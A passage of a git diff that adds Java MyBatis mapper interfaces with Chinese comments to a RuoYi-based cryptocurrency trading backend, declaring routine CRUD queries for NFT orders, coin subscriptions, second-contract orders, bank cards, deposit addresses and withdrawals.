selectTMingProductUserById(Long id); + + /** + * 查询用户购买质押限制列表 + * + * @param tMingProductUser 用户购买质押限制 + * @return 用户购买质押限制集合 + */ + public List selectTMingProductUserList(TMingProductUser tMingProductUser); + + /** + * 新增用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int insertTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 修改用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int updateTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 删除用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 结果 + */ + public int deleteTMingProductUserById(Long id); + + /** + * 批量删除用户购买质押限制 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMingProductUserByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java new file mode 100644 index 0000000..c476405 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftOrder; + +/** + * nft订单Mapper接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface TNftOrderMapper extends BaseMapper +{ + /** + * 查询nft订单 + * + * @param id nft订单主键 + * @return nft订单 + */ + public TNftOrder selectTNftOrderById(Long id); + + /** + * 查询nft订单列表 + * + * @param tNftOrder nft订单 + * @return nft订单集合 + */ + public List selectTNftOrderList(TNftOrder tNftOrder); + + /** + * 新增nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int insertTNftOrder(TNftOrder tNftOrder); + + /** + * 修改nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int updateTNftOrder(TNftOrder tNftOrder); + + /** + * 删除nft订单 + * + * @param id nft订单主键 + * @return 结果 + */ + public int deleteTNftOrderById(Long id); + + /** + * 批量删除nft订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNftOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java new file mode 100644 index 0000000..0d08ef6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftProduct; + +/** + * nft详情Mapper接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface TNftProductMapper extends BaseMapper +{ + /** + * 查询nft详情 + * + * @param id nft详情主键 + * @return nft详情 + */ + public TNftProduct selectTNftProductById(Long id); + + /** + * 查询nft详情列表 + * + * @param tNftProduct nft详情 + * @return nft详情集合 + */ + public List selectTNftProductList(TNftProduct tNftProduct); + + /** + * 新增nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int insertTNftProduct(TNftProduct tNftProduct); + + /** + * 修改nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int updateTNftProduct(TNftProduct tNftProduct); + + /** + * 删除nft详情 + * + * @param id nft详情主键 + * @return 结果 + */ + public int deleteTNftProductById(Long id); + + /** + * 批量删除nft详情 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNftProductByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java new file mode 100644 index 0000000..4be16a5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftSeries; + +/** + * nft合计Mapper接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface TNftSeriesMapper extends BaseMapper +{ + /** + * 查询nft合计 + * + * @param id nft合计主键 + * @return nft合计 + */ + public TNftSeries selectTNftSeriesById(Long id); + + /** + * 查询nft合计列表 + * + * @param tNftSeries nft合计 + * @return nft合计集合 + */ + public List selectTNftSeriesList(TNftSeries tNftSeries); + + /** + * 新增nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int insertTNftSeries(TNftSeries tNftSeries); + + /** + * 修改nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int updateTNftSeries(TNftSeries tNftSeries); + + /** + * 删除nft合计 + * + * @param id nft合计主键 + * @return 结果 + */ + public int deleteTNftSeriesById(Long id); + + /** + * 批量删除nft合计 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNftSeriesByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java new file mode 100644 index 0000000..b6d6c39 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNotice; + +/** + * 通知公告Mapper接口 + * + * @author ruoyi + * @date 2023-07-20 + */ +public interface TNoticeMapper extends BaseMapper +{ + /** + * 查询通知公告 + * + * @param noticeId 通知公告主键 + * @return 通知公告 + */ + public TNotice selectTNoticeByNoticeId(Long noticeId); + + /** + * 查询通知公告列表 + * + * @param tNotice 通知公告 + * @return 通知公告集合 + */ + public List selectTNoticeList(TNotice tNotice); + + /** + * 新增通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int insertTNotice(TNotice tNotice); + + /** + * 修改通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int updateTNotice(TNotice tNotice); + + /** + * 删除通知公告 + * + * @param noticeId 通知公告主键 + * @return 结果 + */ + public int deleteTNoticeByNoticeId(Long noticeId); + + /** + * 批量删除通知公告 + * + * @param noticeIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNoticeByNoticeIds(Long[] noticeIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java new file mode 100644 index 0000000..7115a30 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TOptionRules; + +/** + * 前台文本配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface TOptionRulesMapper extends BaseMapper +{ + /** + * 查询前台文本配置 + * + * @param id 前台文本配置主键 + * @return 前台文本配置 + */ + public TOptionRules selectTOptionRulesById(Long id); + + /** + * 查询前台文本配置列表 + * + * @param tOptionRules 前台文本配置 + * @return 前台文本配置集合 + */ + public List selectTOptionRulesList(TOptionRules tOptionRules); + + /** + * 新增前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int insertTOptionRules(TOptionRules tOptionRules); + + /** + * 修改前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int updateTOptionRules(TOptionRules tOptionRules); + + /** + * 删除前台文本配置 + * + * @param id 前台文本配置主键 + * @return 结果 + */ + public int deleteTOptionRulesById(Long id); + + /** + * 批量删除前台文本配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTOptionRulesByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java new file mode 100644 index 0000000..196973b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TOwnCoin; + +/** + * 发币Mapper接口 + * + * @author ruoyi + * @date 2023-09-18 + */ +public interface TOwnCoinMapper extends BaseMapper +{ + /** + * 查询发币 + * + * @param id 发币主键 + * @return 发币 + */ + public TOwnCoin selectTOwnCoinById(Long id); + + /** + * 查询发币列表 + * + * @param tOwnCoin 发币 + * @return 发币集合 + */ + public List selectTOwnCoinList(TOwnCoin tOwnCoin); + + /** + * 新增发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int insertTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 修改发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int updateTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 删除发币 + * + * @param id 发币主键 + * @return 结果 + */ + public int deleteTOwnCoinById(Long id); + + /** + * 批量删除发币 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTOwnCoinByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java new file mode 100644 index 0000000..71a94a7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import org.apache.ibatis.annotations.Param; + +/** + * 申购订单Mapper接口 + * + * @author ruoyi + * @date 2023-09-20 + */ +public interface TOwnCoinOrderMapper extends BaseMapper +{ + /** + * 查询申购订单 + * + * @param id 申购订单主键 + * @return 申购订单 + */ + public TOwnCoinOrder selectTOwnCoinOrderById(Long id); + + /** + * 查询申购订单列表 + * + * @param tOwnCoinOrder 申购订单 + * @return 申购订单集合 + */ + public List selectTOwnCoinOrderList(TOwnCoinOrder tOwnCoinOrder); + + /** + * 新增申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int insertTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 修改申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int updateTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 删除申购订单 + * + * @param id 申购订单主键 + * @return 结果 + */ + public int deleteTOwnCoinOrderById(Long id); + + /** + * 批量删除申购订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTOwnCoinOrderByIds(Long[] ids); + + Integer getAllAmountByUserIdAndCoinId(@Param("ownId") Long ownId, @Param("userId") Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java new file mode 100644 index 0000000..4279542 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java @@ -0,0 +1,77 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import org.apache.ibatis.annotations.Param; + +import java.util.List; + +/** + * 平台新币订阅订单Mapper接口 + * + * @author ruoyi + * @date 2023/10/9 + */ +public interface TOwnCoinSubscribeOrderMapper extends BaseMapper { + + /** + * 新增订阅订单 + * + * @param tOwnCoinSubscribeOrder 订阅订单 + * @return 结果 + */ + public int insertTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 修改订阅订单 + * + * @param tOwnCoinSubscribeOrder 订阅订单 + * @return 结果 + */ + public int updateTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询用户订阅新发币列表 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + List selectTOwnCoinSubscribeOrderList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 条件查询用户订阅记录 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + int selectTOwnCoinSubscribeOrderRecord(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询订阅审批订单 + * + * @param ownId + * @param userId + * @return + */ + TOwnCoinSubscribeOrder getOrderById(@Param("ownId") Long ownId, @Param("userId") Long userId); + + /** + * 修改订阅记录 + * + * @param userId 用户ID + * @param ownId 新币ID + * @param orderId 申购订单ID + * @return + */ + int updateTOwnCoinSubscribeOrderById( + @Param("userId") Long userId, @Param("ownId") Long ownId, @Param("orderId") String orderId); + + /** + * 订阅详情查询 + * + * @param id + * @return + */ + TOwnCoinSubscribeOrder selectTOwnCoinSubscribeOrderById(@Param("id") Long id); +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java new file mode 100644 index 0000000..2da2685 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; + +import java.util.List; + + +/** + * 秒合约币种配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface TSecondCoinConfigMapper extends BaseMapper +{ + /** + * 查询秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 秒合约币种配置 + */ + public TSecondCoinConfig selectTSecondCoinConfigById(Long id); + + /** + * 查询秒合约币种配置列表 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 秒合约币种配置集合 + */ + public List selectTSecondCoinConfigList(TSecondCoinConfig tSecondCoinConfig); + + /** + * 新增秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int insertTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + + /** + * 修改秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int updateTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + + /** + * 删除秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 结果 + */ + public int deleteTSecondCoinConfigById(Long id); + + /** + * 批量删除秒合约币种配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSecondCoinConfigByIds(Long[] ids); + + List selectBathCopySecondCoinConfigList(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java new file mode 100644 index 0000000..34ca32c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TSecondContractOrder; + +import java.util.List; + +/** + * 秒合约订单Mapper接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface TSecondContractOrderMapper extends BaseMapper +{ + /** + * 查询秒合约订单 + * + * @param id 秒合约订单主键 + * @return 秒合约订单 + */ + public TSecondContractOrder selectTSecondContractOrderById(Long id); + + /** + * 查询秒合约订单列表 + * + * @param tSecondContractOrder 秒合约订单 + * @return 秒合约订单集合 + */ + public List selectTSecondContractOrderList(TSecondContractOrder tSecondContractOrder); + + /** + * 新增秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int insertTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 修改秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int updateTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 删除秒合约订单 + * + * @param id 秒合约订单主键 + * @return 结果 + */ + public int deleteTSecondContractOrderById(Long id); + + /** + * 批量删除秒合约订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSecondContractOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java new file mode 100644 index 0000000..88790b9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; + +/** + * 秒合约币种周期配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface TSecondPeriodConfigMapper extends BaseMapper +{ + /** + * 查询秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 秒合约币种周期配置 + */ + public TSecondPeriodConfig selectTSecondPeriodConfigById(Long id); + + /** + * 查询秒合约币种周期配置列表 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 秒合约币种周期配置集合 + */ + public List selectTSecondPeriodConfigList(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 新增秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int insertTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 修改秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int updateTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 删除秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 结果 + */ + public int deleteTSecondPeriodConfigById(Long id); + + /** + * 批量删除秒合约币种周期配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSecondPeriodConfigByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java new file mode 100644 index 0000000..a3b7252 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; + +/** + * 自发币种配置Mapper接口 + * + * @author ruoyi + * @date 2023-10-08 + */ +public interface TSpontaneousCoinMapper extends BaseMapper +{ + /** + * 查询自发币种配置 + * + * @param id 自发币种配置主键 + * @return 自发币种配置 + */ + public TSpontaneousCoin selectTSpontaneousCoinById(Long id); + + /** + * 查询自发币种配置列表 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 自发币种配置集合 + */ + public List selectTSpontaneousCoinList(TSpontaneousCoin tSpontaneousCoin); + + /** + * 新增自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int insertTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 修改自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int updateTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 删除自发币种配置 + * + * @param id 自发币种配置主键 + * @return 结果 + */ + public int deleteTSpontaneousCoinById(Long id); + + /** + * 批量删除自发币种配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSpontaneousCoinByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java new file mode 100644 index 0000000..6515b24 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSymbolManage; + +/** + * 币种管理Mapper接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface TSymbolManageMapper extends BaseMapper +{ + /** + * 查询币种管理 + * + * @param id 币种管理主键 + * @return 币种管理 + */ + public TSymbolManage selectTSymbolManageById(Long id); + + /** + * 查询币种管理列表 + * + * @param tSymbolManage 币种管理 + * @return 币种管理集合 + */ + public List selectTSymbolManageList(TSymbolManage tSymbolManage); + + /** + * 新增币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int insertTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 修改币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int updateTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 删除币种管理 + * + * @param id 币种管理主键 + * @return 结果 + */ + public int deleteTSymbolManageById(Long id); + + /** + * 批量删除币种管理 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSymbolManageByIds(Long[] ids); + + List selectSymbolList(TSymbolManage tSymbolManage); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java new file mode 100644 index 0000000..b3bf3f5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; + +import java.util.List; +import com.ruoyi.bussiness.domain.TSymbols; + +/** + * 支持币种Mapper接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface TSymbolsMapper +{ + /** + * 查询支持币种 + * + * @param slug 支持币种主键 + * @return 支持币种 + */ + public TSymbols selectTSymbolsBySlug(String slug); + + /** + * 查询支持币种列表 + * + * @param tSymbols 支持币种 + * @return 支持币种集合 + */ + public List selectTSymbolsList(TSymbols tSymbols); + + /** + * 新增支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int insertTSymbols(TSymbols tSymbols); + + /** + * 修改支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int updateTSymbols(TSymbols tSymbols); + + /** + * 删除支持币种 + * + * @param slug 支持币种主键 + * @return 结果 + */ + public int deleteTSymbolsBySlug(String slug); + + /** + * 批量删除支持币种 + * + * @param slugs 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSymbolsBySlugs(String[] slugs); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java new file mode 100644 index 0000000..f39fc2c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TUserBank; + +/** + * 银行卡Mapper接口 + * + * @author ruoyi + * @date 2023-08-21 + */ +public interface TUserBankMapper extends BaseMapper +{ + /** + * 查询银行卡 + * + * @param id 银行卡主键 + * @return 银行卡 + */ + public TUserBank selectTUserBankById(Long id); + + /** + * 查询银行卡列表 + * + * @param tUserBank 银行卡 + * @return 银行卡集合 + */ + public List selectTUserBankList(TUserBank tUserBank); + + /** + * 新增银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int insertTUserBank(TUserBank tUserBank); + + /** + * 修改银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int updateTUserBank(TUserBank tUserBank); + + /** + * 删除银行卡 + * + * @param id 银行卡主键 + * @return 结果 + */ + public int deleteTUserBankById(Long id); + + /** + * 批量删除银行卡 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTUserBankByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java new file mode 100644 index 0000000..63ae0bb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java @@ -0,0 +1,8 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TUserCoin; + +public interface TUserCoinMapper extends BaseMapper { + void removeByUserId(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java new file mode 100644 index 0000000..8d20d40 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TUserSymbolAddress; + +/** + * 用户币种充值地址Mapper接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface TUserSymbolAddressMapper extends BaseMapper +{ + /** + * 查询用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 用户币种充值地址 + */ + public TUserSymbolAddress selectTUserSymbolAddressById(Long id); + + /** + * 查询用户币种充值地址列表 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 用户币种充值地址集合 + */ + public List selectTUserSymbolAddressList(TUserSymbolAddress tUserSymbolAddress); + + /** + * 新增用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int insertTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 修改用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int updateTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 删除用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 结果 + */ + public int deleteTUserSymbolAddressById(Long id); + + /** + * 批量删除用户币种充值地址 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTUserSymbolAddressByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java new file mode 100644 index 0000000..cd9c5dd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java @@ -0,0 +1,79 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import org.apache.ibatis.annotations.Param; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + + +/** + * 用户提现Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TWithdrawMapper extends BaseMapper +{ + /** + * 查询用户提现 + * + * @param id 用户提现主键 + * @return 用户提现 + */ + public TWithdraw selectTWithdrawById(Long id); + + /** + * 查询用户提现列表 + * + * @param tWithdraw 用户提现 + * @return 用户提现集合 + */ + public List selectTWithdrawList(TWithdraw tWithdraw); + + /** + * 新增用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int insertTWithdraw(TWithdraw tWithdraw); + + /** + * 修改用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int updateTWithdraw(TWithdraw tWithdraw); + + /** + * 删除用户提现 + * + * @param id 用户提现主键 + * @return 结果 + */ + public int deleteTWithdrawById(Long id); + + /** + * 批量删除用户提现 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTWithdrawByIds(Long[] ids); + + List selectTWithdrawVoice(String parentId); + + BigDecimal getAllWithdraw(@Param("parentId") String parentId, @Param("type")Integer type); + + List selectFreezeList(TWithdraw appWithdraw); + + List> getWeekWithdraw(String parentId); + + List> getWeekFailedWithdraw(String parentId); + + Integer getCountByUserId(Long userid); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java new file mode 100644 index 0000000..5328c7c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java @@ -0,0 +1,9 @@ +package com.ruoyi.bussiness.service; + +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; + +public interface FileService { + String uploadFileOSS(MultipartFile file, String name) throws IOException; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java new file mode 100644 index 0000000..dab715c --- /dev/null +++ 